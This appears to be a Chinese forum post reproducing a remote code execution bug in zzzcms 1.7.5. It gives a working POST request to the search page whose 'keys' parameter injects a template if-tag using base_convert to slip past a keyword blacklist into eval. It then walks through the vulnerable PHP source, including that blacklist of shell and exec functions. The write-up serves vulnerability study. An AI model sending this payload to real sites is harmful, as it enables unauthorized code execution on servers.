zzzcms(php) v1.7.5 前台RCE-复现

好久没有发文章了。在昨天在安全客看了一篇文章名称如下图


底下有一个cms利用姿势。想复现一波结果

大佬全是马赛库我去

这款cms之前没有见过。第一次见我花了好长时间终于学到了大佬的姿势我来一个高清无码的复现图。送给和我一样的小菜。忍受着看代码的痛苦

poc

POST /search/ HTTP/1.1
Host: www.fuckcms.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36 SE 2.X MetaSr 1.0
DNT: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://www.fuckcms.com/form/?reg
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Cookie:PHPSESSID=ighlke8vh4ennfegq6qnd8jlg3; zzz847_usercheck=0; zzz847_keys=sdasfsdf
Connection: close
Content-Length: 69

keys={if:array_map(base_convert(27440799224,10,32),array(1))}{end if}

那篇文章写得确实不错可看。就到这里吧

1 Like

补上漏洞分析代码。

<?php
G:\zzzphpcms\PHPTutorial\WWW\index.php

require 'inc/zzz_client.php';

G:\zzzphpcms\PHPTutorial\WWW\inc\zzz_client.php

require 'zzz_template.php'; //G:\zzzphpcms\PHPTutorial\WWW\inc\zzz_template.php
 if (conf('webmode')==0) error(conf('closeinfo'));
 $location=getlocation(); //获取location
 
  switch ($location) {
  
  
  case 'search':
	 	$tplfile= TPL_DIR . 'search.html';  //漏洞触发
		break;
	}
	}
	
	
elseif($conf['runmode']==0|| $conf['runmode']==2 || $location=='search' ||$location=='form' ||$location=='screen' || $location=='app'){ //search漏洞关键点
	//search漏洞 代码执行
	$zcontent = load_file($tplfile,$location); //载入seach.html模板
	$parser = new ParserTemplate();
	$zcontent = $parser->parserCommom($zcontent); // 解析模板
	echo $zcontent;
	
	
G:\zzzphpcms\PHPTutorial\WWW\inc\zzz_template.php
// 解析全局公共标签
	public
	function parserCommom( $zcontent ) { //解析模板
	
		$zcontent = $this->parserSiteLabel( $zcontent ); // 站点标签
		
		$zcontent = $this->ParseInTemplate( $zcontent ); // 模板标签
		$zcontent = $this->parserConfigLabel( $zcontent ); //配置表情
		$zcontent = $this->parserSiteLabel( $zcontent ); // 站点标签    
		$zcontent = $this->parserNavLabel( $zcontent ); // 导航标签	
		$zcontent = $this->parserCompanyLabel( $zcontent ); // 公司标签
		$zcontent = $this->parserUser( $zcontent ); //会员信息           
		$zcontent = $this->parserlocation( $zcontent ); // 站点标签       解析search 标签
		$zcontent = $this->parserLoopLabel( $zcontent ); // 循环标签		
		$zcontent = $this->parserContentLoop( $zcontent ); // 指定内容
		$zcontent = $this->parserbrandloop( $zcontent );
		$zcontent = $this->parserGbookList( $zcontent );		
		$zcontent = $this->parserLabel( $zcontent ); // 指定内容
		$zcontent = $this->parserPicsLoop( $zcontent ); // 内容多图
		$zcontent = $this->parserad( $zcontent );
		$zcontent = parserPlugLoop( $zcontent );
		$zcontent = $this->parserOtherLabel( $zcontent );
		
	
		$zcontent = $this->parserIfLabel( $zcontent ); // IF语句     可控导致有漏洞了
			echo $zcontent;
       exit;		
		
		$zcontent = $this->parserNoLabel( $zcontent );
		return $zcontent;
	}

// 解析循环调节参数
	private
	function parserlocation( $zcontent ) {
		$location = G( 'location' );
		switch ( $location ) {
			case 'about':
				$zcontent = $this->parserAbout( $zcontent );
				break;
			case 'brand':
				$zcontent = $this->parserBrand( $zcontent );
				break;
			case 'content':
				$zcontent = $this->parserContent( $zcontent );
				break;
			case 'search':
				$zcontent = $this->parserSearch( $zcontent ); //解析search
				break;
			case 'sublist':
			case 'list':
				$zcontent = $this->parserList( $zcontent );
				break;
			case 'taglist':
				$tag = db_select( 'tag', 't_name', "t_enname='" . G( 'sid' ) . "'" );
				$tag = isset( $tag ) ? $tag : '无效';
				$zcontent = str_replace( '{zzz:tag}', $tag, $zcontent );
				$zcontent = $this->parserList( $zcontent );
				break;
		}
		return $zcontent;
	}


	
public
	function parserSearch( $zcontent ) {
		$pattern = '/\{zzz:search(\s+[^}]+)?\}([\s\S]*?)\{\/zzz:search\}/';
		$pattern2 = '/\[search:([\w]+)(\s+[^]]+)?\]/';
		if ( preg_match_all( $pattern, $zcontent, $matches ) ) {
			$count = count( $matches[ 0 ] );
			for ( $i = 0; $i < $count; $i++ ) {
				// 获取调节参数
				$params = parserParam( $matches[ 1 ][ $i ] );
				$where = array( 'C_onoff' => 1 );$whereor='';$type='';
				$colnum = conf( 'pagesize' );
				$order = array( 'istop' => 'desc', 'isgood' => 'desc', 'c_order' => 'asc', 'c_addtime' => 'desc', 'cid' => 'desc' );
				$sid = G( 'sid' );
				$arr = parse_url( $_SERVER[ 'REQUEST_URI' ] );				
				$size = 10;
				foreach ( $params as $key => $value ) {
					$asc = isset( $params[ 'asc' ] ) ? $params[ 'asc' ] : 'desc';
					$desc = $asc == 'asc' ?  'desc' : 'asc';
					switch ( $key ) {
						case 'sid':
							$sid = splits( $value, ',' );
							break;
						case 'size':
							$size = $value;
							$GLOBALS[ 'pagesize' ] = $size;
							break;
						case 'norecord':     
							$norecord = $value;
							break;
						case 'order':
							switch ( $value ) {
								case "id":
									$order = array( 'cid' => $desc );
									break;
								case "visits":
									$order = array( 'c_visits' => $desc, 'cid' => $desc );
									break;
								case "time":
									$order = array( 'c_addtime' => $desc, 'cid' => $desc );
									break;
								case "price":
									$order = array( 'zprice' => $asc, 'cid' => $desc );
									break;
								case "rnd":
									$conf=conf('db');
									switch($conf['type']){		
											case "access":
												$order = 'rnd(cid)';
												break;
											case "sqlite":	
												$order = 'RANDOM()';
												break;
											case "mysql":
												$order = 'rand()';
												break;
									}	
										break;
								case "istop":
									arr_add( $where, 'IsTop', 1 );
									break;
								case "notop":
									arr_add( $where, 'IsTop', 0 );
									break;
								case "isgood":
									arr_add( $where, 'Isgood', 1 );
									break;
								case "nogood":
									arr_add( $where, 'Isgood', 0 );
									break;
								case "ispic":
									arr_add( $where, 'ispic', 1 );
									break;
								case "nopic":
									arr_add( $where, 'ispic', 0 );
									break;
								case "issell":
									arr_add( $where, 'issell', 1 );
									break;
								case "nosell":
									arr_add( $where, 'issell', 0 );
									break;
								case "isoffer":
									arr_add( $where, 'isoffer', 1 );
									break;
								case "nooffer":
									arr_add( $where, 'isoffer', 0 );
									break;
								default:
									$order = array( 'istop' => $desc, 'isgood' => $desc, 'c_order' => $asc, 'c_addtime' => $desc, 'cid' => $desc );
							}
							break;
					}
				}
				$norecord =isset( $norecord ) ? $norecord : '很抱歉,没有找到匹配内容!' ;
				$keys = danger_key(getform( 'keys', 'cookie' ));  //触发条件
				if ( $sid ) arr_add( $where, 'c_sid', db_subsort( $sid ) );				
				if ( $keys ) {					
					$searchcol = safe_key(getform( 'searchcol', 'cookie' ));
					$type      = safe_key(getform( 'type', 'cookie' ));					
					$sort      = safe_key(getform( 'sort', 'cookie' ));
					$page      = G('page') ;					
					if ( !empty( $searchcol ) ) {
						$searcharr = splits( $searchcol, ',' );
						foreach ( $searcharr as $val ) {
							$whereor .= " or ".$val." LIKE '%".$keys."%'";
						}
					}else{
						$whereor='';
					}
					$where= "(c_title LIKE '%".$keys."%'".$whereor.")";
					!empty ( $sort ) and $where.= " and c_sid=".$sort ;
					!empty ( $type ) and $where.= " and c_type='". $type."'" ;					
					$GLOBALS[ 'listcount' ]= db_count( 'content', $where);
					$where.=" and c.c_sid=s.sid and c_onoff=1";
					$data = db_load( 'content c,sort s', $where, 'c.*,s.s_name,s.s_enname,s.s_filename,s.s_url', $size, $order, $page );				
					
				} else {
					$data = array();
					$GLOBALS[ 'listcount' ] = 0;
				}
				$link = getsortlink( 'search', '' );
				$zcontent = str_replace( '{zzz:link}', $link, $zcontent );
				$zcontent = str_replace( '{zzz:stype}', $type, $zcontent );
				$GLOBALS[ 'NOWLINK' ] = $link;
				$zcontent = str_replace( '{zzz:keys}', $keys, $zcontent );
				$GLOBALS[ "crumbs" ]= array('关键词','<a href="#">' . $keys . '</a>');
				//$zcontent = str_replace( '{zzz:location}', ":<a href='" . SITE_PATH . "'>首页</a>>站内搜索 > " . $keys, $zcontent );
				// 匹配到内部标签
				if ( preg_match_all( $pattern2, $matches[ 2 ][ $i ], $matches2 ) ) {
					$count2 = count( $matches2[ 0 ] ); // 循环内的内容标签数量
				} else {
					$count2 = 0;
				}
				$out_html = '';
				$k = 0;
                		if(!isset($data)) return $zcontent ;
				if ($data) {    
					foreach ( $data as $value ) { // 按查询数据条数循环
						$value = array_change_key_case( $value );
						$one_html = $matches[ 2 ][ $i ];
						$k++;
						if ( $count2 ) {
							for ( $j = 0; $j < $count2; $j++ ) { // 循环替换数据
								$params = parserParam( $matches2[ 2 ][ $j ] );
								$pic = empty( $value[ 'c_pic' ] ) ? SITE_PATH . 'images/nopic.gif': $value[ 'c_pic' ];
								if ( !empty( $value[ 'c_picsurl' ] ) ) {
									$pics = splits( $value[ 'c_picsurl' ], ',' );
									$pic1 = isset( $pics[ 0 ] ) ? $pics[ 0 ] : $pics;
									$pic2 = isset( $pics[ 1 ] ) ? $pics[ 1 ] : '';
								} else {
									$pics = '';
									$pic1 = '';
									$pic2 = '';
								}
								$desc = empty( $value[ 'c_pagedesc' ] ) ? leftstr( html_info( $value[ 'c_content' ] ), 250 ) : $value[ 'c_pagedesc' ];
								switch ( $matches2[ 1 ][ $j ] ) {
									case 'i':
										$one_html = str_replace( $matches2[ 0 ][ $j ], $k, $one_html );
										break;
									case 'j':
										$one_html = str_replace( $matches2[ 0 ][ $j ], $k - 1, $one_html );
										break;
									case 'link':
										$one_html = str_replace( $matches2[ 0 ][ $j ], getcontentlink( $value[ 'cid' ], $value[ 'c_pagename' ],$value[ 'c_type' ], $value[ 'c_link' ] ), $one_html );
										break;
									case 'slink':
										$one_html = str_replace( $matches2[ 0 ][ $j ], getsortlink( $value[ 'c_type' ], $value[ 'c_sid' ], $value[ 's_filename' ], $value[ 's_url' ]), $one_html );
										break;
									case 'title':
									case 'name':
										$one_html = str_replace( $matches2[ 0 ][ $j ], $value[ 'c_title' ], $one_html );
										break;
									case 'desc':
										$one_html = str_replace( $matches2[ 0 ][ $j ], $desc, $one_html );
										break;
									case 'info':
										$one_html = str_replace( $matches2[ 0 ][ $j ], html_info( ( $value[ 'c_content' ] ) ), $one_html );
										break;
									case 'content':
										$one_html = str_replace( $matches2[ 0 ][ $j ], ContentParam($value[ 'c_content' ] ,$matches2[ 2 ][ $j ],html_wx( $value[ 'c_content' ] )), $one_html );
										break;
									case 'pic':
										$one_html = str_replace( $matches2[ 0 ][ $j ], $pic, $one_html );
										break;
									case 'pics':
										$one_html = str_replace( $matches2[ 0 ][ $j ], $pics, $one_html );
										break;
									case 'pic1':
										$one_html = str_replace( $matches2[ 0 ][ $j ], $pic1, $one_html );
										break;
									case 'pic2':
										$one_html = str_replace( $matches2[ 0 ][ $j ], $pic2, $one_html );
										break;
									case 'spic':
										$spic = SITE_PATH . 'upload/images/' . $value[ 'cid' ] . '.jpg';
										$spic = check_file( $spic ) ? $spic : $pic;
										$one_html = str_replace( $matches2[ 0 ][ $j ], $spic, $one_html );
										break;
									case 'time':
										$one_html = str_replace( $matches2[ 0 ][ $j ], $value[ 'c_addtime' ], $one_html );
										break;
									case 'date':
										$one_html = str_replace( $matches2[ 0 ][ $j ], date( 'Y-m-d', strtotime( $value[ 'c_addtime' ] ) ), $one_html );
										break;
									case 'sname':
										$one_html = str_replace( $matches2[ 0 ][ $j ], $value[ 'sname' ], $one_html );
										break;
									case 'next':
										$one_html = str_replace( $matches2[ 0 ][ $j ], $value[ 'c_addtime' ], $one_html );
										break;
									case 'prev':
										$one_html = str_replace( $matches2[ 0 ][ $j ], $value[ 'c_addtime' ], $one_html );
										break;
									default:
										isset( $value[ $matches2[ 1 ][ $j ] ] )and $one_html = str_replace( $matches2[ 0 ][ $j ],  $value[ $matches2[ 1 ][ $j ] ] , $one_html );
										isset( $value[ 'c_' . $matches2[ 1 ][ $j ] ] ) ? $one_html = str_replace( $matches2[ 0 ][ $j ],  $value[ 'c_' . $matches2[ 1 ][ $j ] ] , $one_html ) : $one_html = str_replace( $matches2[ 0 ][ $j ], '', $one_html );

								}
							}
						}
						$key++;
						$out_html .= $one_html;
					}
					$zcontent = str_replace( $matches[ 0 ][ $i ], $out_html, $zcontent );
				} else {                 		
					$zcontent = str_replace( $matches[ 0 ], '<div class="norecord" id="search_empty">'.$norecord.'</div>', $zcontent );
				}
			}
		}
		$zcontent = $this->parserListPage( $zcontent );
		return $zcontent;
	}
	
function parserParam( $string,$arr=NULL,$default ='' ) {
	if ( !$string = trim( $string ) ) {
		return empty($default) ? array() : $default;
	}
	$string = preg_replace( '/\s+/', ' ', $string );
	$string = str_replace( ',', ',', $string );
	$params = explode( ' ', $string );
	$param = array();
	foreach ( $params as $key => $value ) {
		$temp = explode( '=', $value );
		if ( isset( $temp[ 1 ] ) ) {
			$param[ $temp[ 0 ] ] = $temp[ 1 ];
		} else {
			$param[ $temp[ 0 ] ] = '';
		}
	}
	if(is_null($arr)) {
		return $param;
	} else{
		return isset($param[$arr]) ? $param[$arr] : $default ;
	}	
}
	
	
	
G:\zzzphpcms\PHPTutorial\WWW\inc\zzz_main.php

function getform( $name, $source = 'both', $type = NULL, $default = NULL ) {
	switch ( $source ) {
		case 'post':
			$data = _POST( $name );
			break;
		case 'get':
			$data = _GET( $name );
			break;
		case 'cookie':
			$data = _REQUEST($name); // _REQUEST(keys)
            if($data) {
				
                 set_cookie( $name,$data ) ;
            }else{
                $data=get_cookie( $name,$data ) ;
            }
			break;
		case 'both':
			$data = _POST( $name ) ? : _GET( $name );
			break;
	}
    if($name=='act'){
        if(_REQUEST('act')!=''){
            $referer=_SERVER('HTTP_REFERER');
            if(!defined('WAPPATH')) {         
                if ( strpos( $referer, conf('wappath' )) !== FALSE ) {  
                    define( 'WAPPATH', conf('wappath' ));		
                }else{
                    define( 'WAPPATH', '');	
                }
            }
        }
    }
	if ( !is_null( $type ) ) {
        if(ifch($default)){
            $err = checkstr( $data, $type, $default );
        }else{
            $err = checkstr( $data, $type, $name );
        }
		if ( $err[ 'code' ] == 0 ){
			if ( $default == 'layer' ) {
				layererr( $err[ 'err' ] );
			} else {
				back( $err[ 'err' ] );
			}
        }  
	}
	if ( !is_null( $default ) && !ifch( $default) ) {
		$data = empty( $data ) ? $default : $data;
	}
	return txt_html( $data );//走这个
}

G:\zzzphpcms\PHPTutorial\WWW\inc\zzz_main.php

function _REQUEST( $k, $def = NULL ) {
	return isset( $_REQUEST[ $k ] ) ? $_REQUEST[ $k ] : $def;
}

G:\zzzphpcms\PHPTutorial\WWW\inc\zzz_main.php
// txt 转换到 html
function txt_html( $s ) {    
	if ( !$s ) return $s;
	if ( is_array( $s ) ) { // 数组处理
		foreach ( $s as $key => $value ) {
			$string[ $key ] = txt_html( $value );
		}
	} else {
        if (get_magic_quotes_gpc())  $s = addslashes( $s );        
		$s = trim( $s );
		//array("'"=>"&apos;",'"'=>"&quot;",'<'=> "&lt;",'>'=> "&gt;");     
        if ( DB_TYPE == 'access' ) {
			//$s= toutf( $s );
			$s = str_replace( "'", "&apos;", $s );
			$s = str_replace( '"', "&quot;", $s );
			$s = str_replace( "<", "&lt;", $s );
			$s = str_replace( ">", "&gt;", $s );
		}else{
			$s = htmlspecialchars( $s,ENT_QUOTES,'UTF-8' );       
		} 				
		$s = str_replace( "\t", ' &nbsp; &nbsp; &nbsp; &nbsp;', $s );		
		$s = preg_replace('/script/i', 'scr1pt', $s );
		$s = preg_replace('/document/i', 'd0cument', $s );		
		$s = preg_replace('/\.php/i', '.php', $s );
        $s = preg_replace('/ascii/i', 'asc11', $s );
		$s = preg_replace('/eval/i' , 'eva1', $s );
		$s = str_replace( array("base64_decode", "assert", ""), "", $s );
		$s = str_replace( array("\r\n","\n"), "<br/>", $s );
	}
	return $s;
}

// 解析IF条件标签
	public
	function parserIfLabel( $zcontent ) { //漏洞
		
		$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/'; //正则判断   可控导致漏洞
		if ( preg_match_all( $pattern, $zcontent, $matches ) ) { //如果$content换有if
			$count = count( $matches[ 0 ] );
			for ( $i = 0; $i < $count; $i++ ) {
				$flag = '';
				$out_html = '';
				$ifstr = $matches[ 1 ][ $i ];//array_map(base_convert(27440799224,10,32),array(1)) 
				
				//echo "--------->"."<br/>";
				
				
				$ifstr=danger_key($ifstr,1); //检测恶意字符
                if(strpos($ifstr,'=') !== false){
                   $arr= splits($ifstr,'=');
                    if($arr[0]=='' || $arr[1]==''){
                         error('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
                    }
                   $ifstr = str_replace( '=', '==', $ifstr );	
                }
				$ifstr = str_replace( '<>', '!=', $ifstr );
				$ifstr = str_replace( 'or', '||', $ifstr );
				$ifstr = str_replace( 'and', '&&', $ifstr );
				$ifstr = str_replace( 'mod', '%', $ifstr );
				$ifstr = str_replace( 'not', '!', $ifstr );
				
                if ( preg_match( '/\{|}/', $ifstr)) {    
                  error('很抱歉,模板中有错误的判断,请修正'.$ifstr);
                }else{
					
					//echo "sdfsdfsddf".$ifstr;
					//$ifstr="{if:phpinfo();}{end if}";
					//echo $ifstr;
					
					//array_map(base_convert(27440799224,10,32),array(1))
					
					//代码代码漏洞原因
                  @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
                }              
				
				if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) { // 判断是否存在else				
					switch ( $flag ) {
						case 'if': // 条件为真
							if ( isset( $matches2[ 1 ] ) ) {
								$out_html .= $matches2[ 1 ];
							}
							break;
						case 'else': // 条件为假
							if ( isset( $matches2[ 2 ] ) ) {
								$out_html .= $matches2[ 2 ];
							}
							break;
					}
				} elseif ( $flag == 'if' ) {
					$out_html .= $matches[ 2 ][ $i ];
				}
				// 无限极嵌套解析
				$pattern2 = '/\{if([0-9]):/';
				if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
					$out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
					$out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
					$out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
					$out_html = $this->parserIfLabel( $out_html );
				}
				// 执行替换
				$zcontent = str_replace( $matches[ 0 ][ $i ], $out_html, $zcontent );
			}
		}
		return $zcontent;
	}

G:\zzzphpcms\PHPTutorial\WWW\inc\zzz_main.php	
	
function danger_key($s,$type='') {
	$s=empty($type) ? htmlspecialchars($s) : $s;
        $danger=array('php','preg','server','chr','decode','html','md5','post','get','file','cookie','session','sql','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep');
	$s = str_ireplace($danger,"*",$s);
	$key=array('php','preg','decode','post','get','cookie','session','$','exec','ascii','eval','replace');
   foreach ($key as $val){
	   if(strpos($s,$val) !==false){
		error('很抱歉,执行出错,发现危险字符【'.$val.'】');
	  }
   }
	return $s;
}

大佬能不能分享一个源码

去这个网站下载一波
https://www.jb51.net/codes/629522.html?pc#downintro2